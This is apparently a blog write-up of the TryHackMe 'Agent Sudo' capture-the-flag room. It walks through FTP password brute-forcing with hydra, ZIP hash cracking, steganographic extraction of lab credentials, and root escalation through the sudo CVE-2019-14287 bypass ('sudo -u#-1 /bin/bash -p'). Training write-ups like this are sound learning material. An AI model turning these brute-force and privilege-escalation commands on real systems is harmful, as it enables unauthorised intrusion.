> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Agent Sudo Writeup
- URL: https://taiwanding.com/en/tryhackme-agent-sudo-writeup/
- Published: 2025-10-01T08:47:21.000Z
- Updated: 2026-07-15T02:49:53.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

### Room Info

- Platform: TryHackMe
- Room name: Agent Sudo
- Difficulty: Easy
- Goal: a chain of challenges
- Theme: secret agents
- Link: [https://tryhackme.com/room/agentsudo](https://tryhackme.com/room/agentsudo?ref=taiwanding.com)

### Service Discovery

```
nmap -sC -sV -Pn 10.201.103.23

```

Results

- 21/tcp FTP
- 22/tcp OpenSSH
- 80/tcp Apache httpd

## Step 1: The HTTP Clue

  
Notes: the homepage index.php branches based on the User-Agent, and the room hints "use C".

```
curl -I -H "User-Agent: C" http://10.201.103.23/index.php
# 302 → Location: agent_C_attention.php

```

Key takeaways (condensed)

- calls out chris by name
- asks to pass a message to agent J
- the password is weak

Conclusion: there's very likely an account named chris with a weak password, and possibly a user like james/agentJ too.

## Step 2: FTP Enumeration and Login Attempts

First check whether anonymous login is allowed; if not, run a weak-password test against chris.

### Brute-forcing with rockyou

```bash
hydra -l chris -P /usr/share/wordlists/rockyou.txt -f -I ftp://10.201.103.23

```

And there's the FTP login password.

## Step 3: Images and Hidden Files

Inside the FTP directory we grab cutie.png. Run binwalk on it:

```bash
binwalk -e cutie.png
# You'll see
# 0x365  Zlib compressed data
# 0x8702 ZIP archive data, name: To_agentR.txt (AES Encrypted)

```

### Notes

- There's an AES-encrypted ZIP (To\_agentR.txt) that needs a dictionary attack (zip2john/hashcat or john)

Use John to crack the ZIP file's password:

```bash
# build the hash
zip2john _cutie.png.extracted/8702.zip > zip.hash

# crack it with rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

# once cracked, view the plaintext password
john --show zip.hash

```

After recovering the password here, immediately unzip the .zip to get a To\_agentR.txt:

```bash
7z x -palien 8702.zip
```

The `QXJlYTUx` inside it is Base64, which decodes to Area51 and can be used as the steganography password for another image later on.

## Step 4: Getting SSH Access

Using the string decoded from the .txt in the ZIP, "Area51" successfully unlocks the file hidden inside cute-alien.jpg, giving us james's SSH login password.

```bash
└─$ steghide extract -sf cute-alien.jpg -p Area51
wrote extracted data to "message.txt".

└─$ cat message.txt
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

### Connecting

```bash
ssh james@10.201.103.23

```

### Checking the user's home directory

```bash
ls -la
# you can see Alien_autospy.jpg and user_flag.txt

cat user_flag.txt

```

## Step 5: A Little OSINT Challenge

Log in as james over SSH and grab Alien\_autospy.jpg. The task asks for the name of the event in the photo. You can pull it down to your local machine with scp, open the image, and then use Google image search to find the news story below:

[Filmmaker reveals how he faked infamous ‘Roswell alien autopsy’ footage in a London apartmentA hoaxer has revealed how he faked an “alien autopsy” using animal organs and pig brains – and managed to fool the world for over a decade.![](https://taiwanding.com/content/images/icon/apple-touch-icon-180x180-1.png)Fox NewsThe Sun![](https://taiwanding.com/content/images/thumbnail/AA-film-2.jpg)](https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment?fbclid=IwAR0s%5FR-JV7yihYjFrDIdEuW%5FLK8eY8BJog13mXga6mKpF3ze2UgrA570hm4&ref=taiwanding.com)

## Step 6: Privilege Escalation Recon

```bash
sudo -l
# similar output:
# User james may run the following commands on agent-sudo:
#     (ALL, !root) /bin/bash

```

This is a known bypass flaw (sudo CVE-2019-14287).

## Step 7: Privilege Escalation

**Notes**: run as UID -1 (which converts to an unsigned integer), bypassing the intended restriction.

```bash
sudo -u#-1 /bin/bash -p
id; whoami

```

### Once it works, grab the root flag

```bash
cat /root/root.txt

```

## Key Technical Points

### The User-Agent trick

Testing the UA with curl is the fastest approach. If you'd rather use a browser, install a UA switcher and just set it to C.

### binwalk and nested hidden files

- The AES ZIP has to be cracked with zip2john/hashcat
- When you see "Method = AES Encrypted", fcrackzip won't work

### The privesc flaw

When sudoers shows `(ALL, !root) /bin/bash`, just use:

```bash
sudo -u#-1 /bin/bash -p

```

This corresponds to CVE-2019-14287.

## Lessons Learned

### On Steps 3 and 4:

You can also use the stegseek tool to find the steganography password for cute-alien.jpg:

```bash
└─$ stegseek cute-alien.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "Area51"
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".

└─$ cat cute-alien.jpg.out
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

### On Step 5:

Neither strings nor exiftool got me anywhere on the target box, so I just pulled the file to my local machine to look at it, and that's when I realized it was an OSINT challenge!

```bash
scp james@10.201.103.23:~/Alien_autospy.jpg .
```